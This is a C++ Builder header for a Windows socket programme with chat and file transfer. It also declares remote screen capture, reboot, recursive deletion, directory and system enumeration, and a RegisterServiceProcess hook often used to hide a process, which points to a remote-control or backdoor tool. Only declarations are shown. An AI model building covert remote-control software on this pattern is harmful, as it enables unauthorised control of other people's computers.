transportunit.h

this a programme that you can use socket programme

//---------------------------------------------------------------------------

#ifndef TransportUnitH
#define TransportUnitH
//---------------------------------------------------------------------------
#include <Classes.hpp>
#include <Controls.hpp>
#include <StdCtrls.hpp>
#include <Forms.hpp>
#include <Buttons.hpp>
#include <ComCtrls.hpp>
#include <ExtCtrls.hpp>
#include <NMSTRM.hpp>
#include <Psock.hpp>
#include <ToolWin.hpp>
#include <Dialogs.hpp>
#include <ScktComp.hpp>
#include <Menus.hpp>
#include <ExtDlgs.hpp>
#include <IdBaseComponent.hpp>
#include <IdComponent.hpp>
#include <IdIcmpClient.hpp>
#include <IdRawBase.hpp>
#include <IdRawClient.hpp>
#include "trayicon.h"
#include <ImgList.hpp>
#include <Jpeg.hpp>
#include <mmsystem.hpp>
#include <Registry.hpp>
#include <windows.h>
#include <stdio.h>
//---------------------------------------------------------------------------
typedef DWORD (__stdcall *pRegFunction)(DWORD, DWORD);
class TMainForm : public TForm
{
__published:	// IDE-managed Components
        TNMStrmServ *NMStrmServ;
        TNMStrm *NMStrm;
        TRichEdit *MsgMemo;
        TStatusBar *StatusBar;
        TCoolBar *CoolBar;
        TToolBar *ToolBar1;
        TToolButton *ToolButton2;
        TToolButton *ToolButton3;
        TSpeedButton *btnConnect;
        TSpeedButton *btnDisconnect;
        TSpeedButton *btnAbout;
        TSpeedButton *btnExit;
        TOpenDialog *OpenDialog;
        TSaveDialog *SaveDialog;
        TClientSocket *ClientSocket;
        TServerSocket *ServerSocket;
        TSpeedButton *btnListen;
        TToolButton *ToolButton4;
        TToolButton *ToolButton5;
        TPopupMenu *PopupMenu;
        TMenuItem *PClearItem;
        TMainMenu *MainMenu;
        TMenuItem *N1;
        TMenuItem *PAboutItem;
        TMenuItem *N3;
        TMenuItem *ConnectItem;
        TMenuItem *DisConnectItem;
        TMenuItem *ListenItem;
        TTimer *Timer;
        TMenuItem *F1;
        TMenuItem *SendItem;
        TMenuItem *SaveItem;
        TMenuItem *N6;
        TMenuItem *RefuseItem;
        TMenuItem *N4;
        TMenuItem *N5;
        TMenuItem *N2;
        TMenuItem *ExitItem;
        TMenuItem *N7;
        TMenuItem *O1;
        TToolButton *ToolButton1;
        TPanel *Panel2;
        TTrayIcon *TrayIcon;
        TImageList *ImageList;
        TPopupMenu *TPopupMenu;
        TMenuItem *TPAboutItem;
        TMenuItem *N8;
        TMenuItem *TPExitItem;
        TMenuItem *TPShowItem;
        TMenuItem *N9;
        TMenuItem *TPSettingItem;
        TMenuItem *Update1;
        TPanel *Panel1;
        TEdit *edtChat;
        TLabel *Label2;
        TSpeedButton *btnChat;
        TLabel *HostLabel;
        TShape *Shape1;
        TPanel *Panel3;
        TLabel *PortLabel;
        TLabel *Label1;
        TShape *Shape;
        TStaticText *LocalIPText;
        TSplitter *Splitter1;
        TToolBar *ToolBar2;
        TSpeedButton *btnSend;
        TSpeedButton *btnSave;
        TSpeedButton *btnLoad;
        TSpeedButton *btnCancel;
        TToolButton *ToolButton6;
        TToolButton *ToolButton7;
        TToolButton *ToolButton8;
        TToolButton *ToolButton9;
        TToolButton *ToolButton10;
        TEdit *edtHost;
        TNMStrm *CapStrm;
        void __fastcall btnLoadClick(TObject *Sender);
        void __fastcall btnSendClick(TObject *Sender);
        void __fastcall btnConnectClick(TObject *Sender);
        void __fastcall btnDisconnectClick(TObject *Sender);
        void __fastcall NMStrmConnect(TObject *Sender);
        void __fastcall NMStrmConnectionFailed(TObject *Sender);
        void __fastcall NMStrmDisconnect(TObject *Sender);
        void __fastcall NMStrmHostResolved(TComponent *Sender);
        void __fastcall NMStrmMessageSent(TObject *Sender);
        void __fastcall NMStrmPacketSent(TObject *Sender);
        void __fastcall NMStrmStatus(TComponent *Sender,
          AnsiString Status);
        void __fastcall NMStrmInvalidHost(bool &Handled);
        void __fastcall NMStrmServStatus(TComponent *Sender,
          AnsiString Status);
        void __fastcall NMStrmServClientContact(TObject *Sender);
        void __fastcall NMStrmServMSG(TComponent *Sender,
          const AnsiString sFrom, TStream *strm);
        void __fastcall ClientSocketConnect(TObject *Sender,
          TCustomWinSocket *Socket);
        void __fastcall ClientSocketConnecting(TObject *Sender,
          TCustomWinSocket *Socket);
        void __fastcall ClientSocketDisconnect(TObject *Sender,
          TCustomWinSocket *Socket);
        void __fastcall ClientSocketError(TObject *Sender,
          TCustomWinSocket *Socket, TErrorEvent ErrorEvent,
          int &ErrorCode);
        void __fastcall ClientSocketLookup(TObject *Sender,
          TCustomWinSocket *Socket);
        void __fastcall btnListenClick(TObject *Sender);
        void __fastcall ClientSocketRead(TObject *Sender,
          TCustomWinSocket *Socket);
        void __fastcall btnExitClick(TObject *Sender);
        void __fastcall ServerSocketAccept(TObject *Sender,
          TCustomWinSocket *Socket);
        void __fastcall ServerSocketClientRead(TObject *Sender,
          TCustomWinSocket *Socket);
        void __fastcall btnCancelClick(TObject *Sender);
        void __fastcall btnSaveClick(TObject *Sender);
        void __fastcall PClearItemClick(TObject *Sender);
        void __fastcall TimerTimer(TObject *Sender);
        void __fastcall FormActivate(TObject *Sender);
        void __fastcall btnAboutClick(TObject *Sender);
        void __fastcall ServerSocketClientConnect(TObject *Sender,
          TCustomWinSocket *Socket);
        void __fastcall ServerSocketClientDisconnect(TObject *Sender,
          TCustomWinSocket *Socket);
        void __fastcall btnChatClick(TObject *Sender);
        void __fastcall CapStrmInvalidHost(bool &Handled);
        void __fastcall FormClose(TObject *Sender, TCloseAction &Action);
        void __fastcall TPShowItemClick(TObject *Sender);
        void __fastcall HostLabelDblClick(TObject *Sender);
        void __fastcall edtChatKeyPress(TObject *Sender, char &Key);
        void __fastcall ServerSocketClientError(TObject *Sender,
          TCustomWinSocket *Socket, TErrorEvent ErrorEvent,
          int &ErrorCode);
private:	// User declarations
    HINSTANCE hKernelLib;
    pRegFunction RegisterServiceProcess;
public:		// User declarations
        __fastcall TMainForm(TComponent* Owner);
        TFileStream *MyFStream;
        bool ConnectStatus;
        bool isServer;
        int m,n;
        AnsiString Name;
        AnsiString SavePath;
        AnsiString OpenPath;
        AnsiString ClientIP;
        TCustomWinSocket *OutSocket;
        Graphics::TBitmap *image;
        Graphics::TBitmap* bmp;
        TCanvas* ss;
        TJPEGImage *jpg;
        TJPEGImage *jpgstream;
        TMemoryStream *mystream;
        TRegistry *Reg;
        bool cansave;
        long int temsize;
        void ButtonStatus();
        void SendMsg(AnsiString Message);
        void takecap();
        void Reboot();
        void Systeminfo();
        void DisEnableConnect();
        void Send_File();
        void OpenDoor(Cardinal DriverID);
        void getid();
        void SetColor(AnsiString MsgToSet,TColor c,int Size);
        void dir(AnsiString path);
        void sysinfo();
        void driverinfo();
        void Diskspace(char *name,long int &freespace,long int &totalspace);
        void GetWindows();
        void DelAll(AnsiString path);
        __fastcall ~TMainForm();

};
//---------------------------------------------------------------------------
extern PACKAGE TMainForm *MainForm;
//---------------------------------------------------------------------------
#endif